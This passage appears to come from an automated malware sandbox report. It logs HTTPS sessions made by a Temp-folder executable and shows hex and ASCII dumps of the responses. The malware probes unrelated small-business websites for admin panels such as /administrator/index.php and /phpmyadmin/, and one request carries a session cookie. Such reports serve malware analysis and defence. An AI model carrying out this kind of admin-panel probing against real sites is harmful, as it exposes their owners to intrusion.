your lawn green and free of pests year after year. He also cares about the well-being of his employees.", "alternateName": "Matt Jesson", "brand": "", "telephone": [""], "email": "email@greenlawnfertilizing.com", "j
2023-12-20 02:13:26 UTC	1369	IN	Data Raw: 20 20 20 20 0a 20 20 20 20 20 20 20 20 5d 0a 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 47 72 65 65 6e 43 61 72 65 20 46 6f 72 20 54 72 6f 6f 70 73 20 50 72 6f 6a 65 63 74 20 45 76 65 72 67 72 65 65 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 40 69 64 22 3a 20 22 68 74 74 70 3a 2f 2f 70 72 6f 6a 65 63 74 65 76 65 72 67 72 65 65 6e 2e 6f 72 67 2f 23 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 23 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 75 72 6c 22 3a 20 22 68 74 74 70 3a 2f 2f 70 72 6f 6a 65 63 74 65 76 65 72 67 72 65 65 6e 2e 6f 72 67 2f 22 2c 0a 20 20 20 20 20 Data Ascii: ] }, { "@type": "Organization", "name": "GreenCare For Troops Project Evergreen", "@id": "http://projectevergreen.org/#Organization#Organization", "url": "http://projectevergreen.org/",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	56537	151.101.1.195	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:25 UTC	255	OUT	GET /administrator/index.php HTTP/1.1 Host: www.geoffreynolds.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.geoffreynolds.com.au/administrator/
2023-12-20 02:13:25 UTC	575	IN	HTTP/1.1 200 OK Connection: close Content-Length: 4255 Cache-Control: max-age=3600 Content-Type: text/html; charset=utf-8 Etag: "027467ef33eb399e27a7057bb7d67c7bbc85ff76417b95760add2070d4049357" Last-Modified: Wed, 08 Feb 2023 04:48:40 GMT Strict-Transport-Security: max-age=31556926 Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:25 GMT X-Served-By: cache-gnv1820029-GNV X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1703038406.718876,VS0,VE47 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2023-12-20 02:13:25 UTC	1368	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 74 69 74 6c 65 3e 52 6f 6f 66 69 6e 67 20 49 6e 20 57 6f 6c 6c 6f 6e 67 6f 6e 67 20 7c 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 3c 2f 74 Data Ascii: <!doctype html><html lang="en"><head><meta charset="utf-8"/><link rel="shortcut icon" href="/favicon.ico"/><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"/><title>Roofing In Wollongong \| Geoff Reynolds Roofing Pty Ltd</t
2023-12-20 02:13:25 UTC	1368	IN	Data Raw: 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 6f 6f 66 69 6e 67 20 49 6e 20 57 6f 6c 6c 6f 6e 67 6f 6e 67 20 7c 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 49 66 20 79 6f 75 72 20 68 6f 6d 65 20 6e 65 65 64 73 20 72 6f 6f 66 69 6e 67 20 73 65 72 76 69 63 65 73 2c 20 63 6c 69 63 6b 20 74 68 65 20 6c 69 6e 6b 20 61 62 6f 76 65 21 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 20 69 73 20 68 65 72 65 20 74 6f 20 6f 66 66 65 72 20 33 30 20 79 65 61 72 73 20 6f 66 20 Data Ascii: ><meta name="twitter:title" content="Roofing In Wollongong \| Geoff Reynolds Roofing Pty Ltd"/><meta name="twitter:description" content="If your home needs roofing services, click the link above! Geoff Reynolds Roofing Pty Ltd is here to offer 30 years of
2023-12-20 02:13:25 UTC	1368	IN	Data Raw: 69 3d 5b 5d 3b 66 3c 6e 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 74 3d 6e 5b 66 5d 2c 70 5b 74 5d 26 26 69 2e 70 75 73 68 28 70 5b 74 5d 5b 30 5d 29 2c 70 5b 74 5d 3d 30 3b 66 6f 72 28 72 20 69 6e 20 6f 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6f 2c 72 29 26 26 28 6c 5b 72 5d 3d 6f 5b 72 5d 29 3b 66 6f 72 28 73 26 26 73 28 65 29 3b 69 2e 6c 65 6e 67 74 68 3b 29 69 2e 73 68 69 66 74 28 29 28 29 3b 72 65 74 75 72 6e 20 63 2e 70 75 73 68 2e 61 70 70 6c 79 28 63 2c 75 7c 7c 5b 5d 29 2c 61 28 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 66 6f 72 28 76 61 72 20 65 2c 72 3d 30 3b 72 3c 63 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 66 6f 72 28 76 61 72 20 74 3d 63 5b 72 5d 2c 6e 3d 21 30 2c 6f 3d 31 Data Ascii: i=[];f<n.length;f++)t=n[f],p[t]&&i.push(p[t][0]),p[t]=0;for(r in o)Object.prototype.hasOwnProperty.call(o,r)&&(l[r]=o[r]);for(s&&s(e);i.length;)i.shift()();return c.push.apply(c,u\|\|[]),a()}function a(){for(var e,r=0;r<c.length;r++){for(var t=c[r],n=!0,o=1
2023-12-20 02:13:25 UTC	151	IN	Data Raw: 3b 76 61 72 20 73 3d 6e 3b 61 28 29 7d 28 5b 5d 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 32 2e 38 34 32 37 38 31 38 37 2e 63 68 75 6e 6b 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6d 61 69 6e 2e 33 33 39 30 30 31 39 32 2e 63 68 75 6e 6b 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: ;var s=n;a()}([])</script><script src="/static/js/2.84278187.chunk.js"></script><script src="/static/js/main.33900192.chunk.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	56294	209.126.24.60	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:25 UTC	266	OUT	GET /phpmyadmin/ HTTP/1.1 Host: horsetech.com Accept: / Accept-Encoding: deflate, gzip Cookie: wp_ga4_customerGroup=NOT%20LOGGED%20IN; PHPSESSID=2d83c9d4949587af521c01ac5e471a19 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:26 UTC	478	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Dec 2023 02:13:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=2d83c9d4949587af521c01ac5e471a19; expires=Wed, 20-Dec-2023 03:13:25 GMT; Max-Age=3600; path=/; domain=horsetech.com; secure; HttpOnly; SameSite=Lax Pragma: no-cache Cache-Control: max-age=0, must-revalidate, no-cache, no-store Expires: Mon, 19 Dec 2022 17:32:39 GMT
2023-12-20 02:13:26 UTC	6744	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 2d 52 65 70 6f 72 74 2d 4f 6e 6c 79 3a 20 66 6f 6e 74 2d 73 72 63 20 2a 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 20 2a 2e 67 73 74 61 74 69 63 2e 63 6f 6d 20 2a 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 2a 2e 74 77 69 74 74 65 72 2e 63 6f 6d 20 2a 2e 74 79 70 65 6b 69 74 2e 6e 65 74 20 2a 2e 74 77 69 6d 67 2e 63 6f 6d 20 2a 2e 74 72 75 73 74 65 64 73 68 6f 70 73 2e 63 6f 6d 20 2a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 2a 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 20 6d 61 70 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 20 2a 2e 79 6f 74 70 6f 2e 63 6f 6d 20 27 73 65 6c 66 27 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 3b 20 66 6f 72 6d 2d 61 63 74 69 6f 6e 20 73 65 63 75 72 65 2e Data Ascii: Content-Security-Policy-Report-Only: font-src .googleapis.com .gstatic.com .cloudflare.com .twitter.com .typekit.net .twimg.com .trustedshops.com .google.com .youtube.com maps.googleapis.com .yotpo.com 'self' 'unsafe-inline'; form-action secure.
2023-12-20 02:13:26 UTC	970	IN	Data Raw: 32 30 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 20 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 76 61 72 20 42 41 53 45 5f 55 52 4c 20 3d 20 27 68 74 74 70 73 5c 75 30 30 33 41 5c 75 30 30 32 46 5c 75 30 30 32 46 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 5c 75 30 30 32 46 27 3b 0a 20 20 20 20 76 61 72 20 72 65 71 75 69 72 65 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 27 62 61 73 65 55 72 6c 27 3a 20 27 68 74 74 70 73 5c 75 30 30 33 41 5c 75 30 30 32 46 5c 75 30 30 32 46 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 5c 75 30 30 32 46 73 74 61 74 69 63 5c 75 30 30 32 46 76 65 72 73 69 6f 6e 31 37 30 31 33 38 38 34 32 30 5c 75 30 30 32 46 66 72 6f 6e 74 Data Ascii: 2000<!doctype html><html lang="en"> <head > <script> var BASE_URL = 'https\u003A\u002F\u002Fhorsetech.com\u002F'; var require = { 'baseUrl': 'https\u003A\u002F\u002Fhorsetech.com\u002Fstatic\u002Fversion1701388420\u002Ffront
2023-12-20 02:13:26 UTC	4096	IN	Data Raw: 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 76 65 72 73 69 6f 6e 31 37 30 31 33 38 38 34 32 30 2f 66 72 6f 6e 74 65 6e 64 2f 68 6f 72 73 65 74 65 63 68 2f 64 65 66 61 75 6c 74 2f 65 6e 5f 55 53 2f 63 73 73 2f 73 74 79 6c 65 73 2d 6d 2e 6d 69 6e 2e 63 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 76 65 72 73 69 6f 6e 31 37 30 31 33 38 38 34 32 30 2f 66 72 6f 6e 74 65 6e 64 2f 68 6f 72 73 65 74 65 63 68 2f 64 65 66 61 75 6c 74 2f 65 6e 5f 55 53 2f 63 73 73 2f 73 74 79 6c 65 73 2d 6c 2e 6d 69 6e 2e 63 73 73 22 20 2f 3e 0a 3c 6c 69 Data Ascii: .com/static/version1701388420/frontend/horsetech/default/en_US/css/styles-m.min.css" /><link rel="stylesheet" type="text/css" media="all" href="https://horsetech.com/static/version1701388420/frontend/horsetech/default/en_US/css/styles-l.min.css" /><li
2023-12-20 02:13:26 UTC	4096	IN	Data Raw: 29 27 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 6d 61 74 63 68 29 20 72 65 74 75 72 6e 20 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 6d 61 74 63 68 5b 31 5d 2e 72 65 70 6c 61 63 65 28 2f 5c 2b 2f 67 2c 20 27 20 27 29 29 20 3b 0a 20 20 20 20 20 20 20 20 7d 3b 0a 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 64 6c 34 4f 62 6a 65 63 74 73 20 3d 20 5b 7b 22 70 61 67 65 4e 61 6d 65 22 3a 22 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 22 2c 22 70 61 67 65 54 79 70 65 22 3a 22 6f 74 68 65 72 22 7d 5d 3b 0a 20 20 20 20 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 69 6e Data Ascii: )')); if (match) return decodeURIComponent(match[1].replace(/\+/g, ' ')) ; }; window.dataLayer = window.dataLayer \|\| []; var dl4Objects = [{"pageName":"404 Not Found","pageType":"other"}]; for (var i in
2023-12-20 02:13:26 UTC	4096	IN	Data Raw: 09 20 20 20 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 0d 0a 09 09 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 39 39 39 39 3b 0d 0a 09 09 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 09 09 20 20 20 20 72 69 67 68 74 3a 20 32 30 70 78 3b 0d 0a 09 09 20 20 20 20 74 6f 70 3a 20 32 32 70 78 3b 0d 0a 09 09 7d 0d 0a 09 09 2e 70 61 67 65 2d 70 72 6f 64 75 63 74 73 20 2e 70 72 6f 64 75 63 74 73 2d 6c 69 73 74 20 2e 70 72 6f 64 75 63 74 2d 69 74 65 6d 2d 69 6e 66 6f 20 61 2c 0d 0a 09 09 2e 70 61 67 65 2d 70 72 6f 64 75 63 74 73 20 2e 70 72 6f 64 75 63 74 73 2d 6c 69 73 74 20 2e 70 72 6f 64 75 63 74 2d 69 74 65 6d 2d 69 6e 66 6f 20 2e 70 72 6f 64 75 63 74 2d 69 74 65 6d 2d 64 65 74 61 69 6c 73 20 7b 0d 0a 09 09 09 77 69 64 74 68 3a 20 61 75 Data Ascii: float: right; z-index: 9999; position: absolute; right: 20px; top: 22px;}.page-products .products-list .product-item-info a,.page-products .products-list .product-item-info .product-item-details {width: au
2023-12-20 02:13:26 UTC	4096	IN	Data Raw: 7d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 20 45 4e 44 20 47 4f 4f 47 4c 45 20 41 4e 41 4c 59 54 49 43 53 20 43 4f 44 45 20 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 78 2d 6d 61 67 65 6e 74 6f 2d 69 6e 69 74 22 3e 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 2a 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 4d 61 67 65 6e 74 6f 5f 50 61 67 65 43 61 63 68 65 2f 6a 73 2f 66 6f 72 6d 2d 6b 65 79 2d 70 72 6f 76 69 64 65 72 22 3a 20 7b 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 20 64 61 74 61 2d 63 6f 6e 74 61 69 6e 65 72 3d 22 62 6f Data Ascii: }</script>... END GOOGLE ANALYTICS CODE --> <script type="text/x-magento-init"> { "*": { "Magento_PageCache/js/form-key-provider": {} } } </script> </head> <body data-container="bo
2023-12-20 02:13:26 UTC	4096	IN	Data Raw: 61 72 63 68 22 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 3e 53 65 61 72 63 68 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 2f 62 75 74 74 6f 6e 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0a 09 09 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 78 2d 6d 61 67 65 6e 74 6f 2d 69 6e 69 74 22 3e 0a 7b 0a 20 20 20 20 22 2a 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 4d 61 67 65 6e 74 6f 5f 55 69 2f 6a 73 2f 63 6f 72 65 2f 61 70 70 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 63 6f 6d 70 6f 6e 65 6e 74 73 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 73 65 61 72 63 68 73 75 69 74 65 61 75 74 6f 63 6f 6d 70 6c 65 74 65 5f 66 6f 72 6d Data Ascii: arch"><span>Search</span></button></div></form></div> </div></div><script type="text/x-magento-init">{ "*": { "Magento_Ui/js/core/app": { "components": { "searchsuiteautocomplete_form
2023-12-20 02:13:26 UTC	4096	IN	Data Raw: 2e 74 6f 74 61 6c 73 22 3a 7b 22 63 6f 6e 66 69 67 22 3a 7b 22 64 69 73 70 6c 61 79 5f 63 61 72 74 5f 73 75 62 74 6f 74 61 6c 5f 69 6e 63 6c 5f 74 61 78 22 3a 30 2c 22 64 69 73 70 6c 61 79 5f 63 61 72 74 5f 73 75 62 74 6f 74 61 6c 5f 65 78 63 6c 5f 74 61 78 22 3a 31 2c 22 74 65 6d 70 6c 61 74 65 22 3a 22 4d 61 67 65 6e 74 6f 5f 54 61 78 5c 2f 63 68 65 63 6b 6f 75 74 5c 2f 6d 69 6e 69 63 61 72 74 5c 2f 73 75 62 74 6f 74 61 6c 5c 2f 74 6f 74 61 6c 73 22 7d 2c 22 63 68 69 6c 64 72 65 6e 22 3a 7b 22 73 75 62 74 6f 74 61 6c 2e 74 6f 74 61 6c 73 2e 6d 73 72 70 22 3a 7b 22 63 6f 6d 70 6f 6e 65 6e 74 22 3a 22 4d 61 67 65 6e 74 6f 5f 4d 73 72 70 5c 2f 6a 73 5c 2f 76 69 65 77 5c 2f 63 68 65 63 6b 6f 75 74 5c 2f 6d 69 6e 69 63 61 72 74 5c 2f 73 75 62 74 6f 74 61 6c Data Ascii: .totals":{"config":{"display_cart_subtotal_incl_tax":0,"display_cart_subtotal_excl_tax":1,"template":"Magento_Tax\/checkout\/minicart\/subtotal\/totals"},"children":{"subtotal.totals.msrp":{"component":"Magento_Msrp\/js\/view\/checkout\/minicart\/subtotal
2023-12-20 02:13:26 UTC	4096	IN	Data Raw: 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 65 71 75 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 63 75 73 74 6f 6d 2d 6e 6f 6e 2d 73 74 6f 63 6b 2d 70 72 6f 64 75 63 74 73 22 3e 3c 73 70 61 6e 3e 43 75 73 74 6f 6d 20 26 20 4e 6f 6e 2d 73 74 6f 63 6b 20 50 72 6f 64 75 63 74 73 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 20 6c 65 76 65 6c 31 20 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 65 71 75 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 64 61 69 6c 79 2d 76 69 74 61 6d 69 6e 73 2d 6d 69 6e 65 72 61 6c 73 22 3e 3c 73 70 61 6e 3e 44 61 69 6c 79 20 56 69 74 61 6d 69 6e 73 2f 20 4d 69 6e 65 72 Data Ascii: f="https://horsetech.com/equine-supplements/custom-non-stock-products"><span>Custom & Non-stock Products</span></a></li><li class="ui-menu-item level1 "><a href="https://horsetech.com/equine-supplements/daily-vitamins-minerals"><span>Daily Vitamins/ Miner
2023-12-20 02:13:26 UTC	4096	IN	Data Raw: 6d 65 6e 75 2d 69 74 65 6d 20 6c 65 76 65 6c 31 20 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 63 61 6e 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 64 69 67 65 73 74 69 76 65 2d 73 75 70 70 6f 72 74 22 3e 3c 73 70 61 6e 3e 44 69 67 65 73 74 69 76 65 20 53 75 70 70 6f 72 74 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 20 6c 65 76 65 6c 31 20 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 63 61 6e 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 73 6b 69 6e 2d 63 6f 61 74 22 3e 3c 73 70 61 6e 3e 53 6b 69 6e 20 26 20 43 6f 61 74 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c Data Ascii: menu-item level1 "><a href="https://horsetech.com/canine-supplements/digestive-support"><span>Digestive Support</span></a></li><li class="ui-menu-item level1 "><a href="https://horsetech.com/canine-supplements/skin-coat"><span>Skin & Coat</span></a></li><

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	56526	34.149.87.45	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:25 UTC	252	OUT	GET /administrator/index.php HTTP/1.1 Host: www.u90soccercenter.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.u90soccercenter.com/administrator
2023-12-20 02:13:25 UTC	1086	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038405.83916548456572930597 Age: 0 Cache-Control: no-cache Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:25 GMT X-Served-By: cache-dfw-kdfw8210176-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,vmPhUNXuQemvc7fjBI8NWewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLvRKfhx2uNN4hv3eFGgKFZEa0sM5c8dDUFHeNaFq0qDu,2d58ifebGbosy5xc+FRalonAxQ7FfJdoOJDEEi1MsTIWQUJXmoJhQkOWWJPGr57mIbyDKi/iBh8ztsQyqya36g==,2UNV7KOq4oGjA5+PKsX47K15rLvEnClnBsBBVIBt3LYfbJaKSXYQ/lskq2jK6SGP,NLdhiUa+sSIsGDI1KKnLVioG5v0XsZRzDHjumEtRhsY=,355BgrcJIkJgSeNTU+yiMhYscfXKeVSdXiuZ84ywgZ4=,0gGrL7iazMoiuqlb7dEO3VykJBCorZ8hHkHqeS6CMYYUVEyDN3A38tMpcHZdr0TkD5hgdkM3kJ2lBxKNrxdApg== Transfer-Encoding: chunked Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:25 UTC	166	IN	Data Raw: 62 37 31 0d 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 Data Ascii: b71 ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-sc
2023-12-20 02:13:25 UTC	1252	IN	Data Raw: 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 Data Ascii: ale=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width">
2023-12-20 02:13:25 UTC	1252	IN	Data Raw: 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 Data Ascii: vices/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script 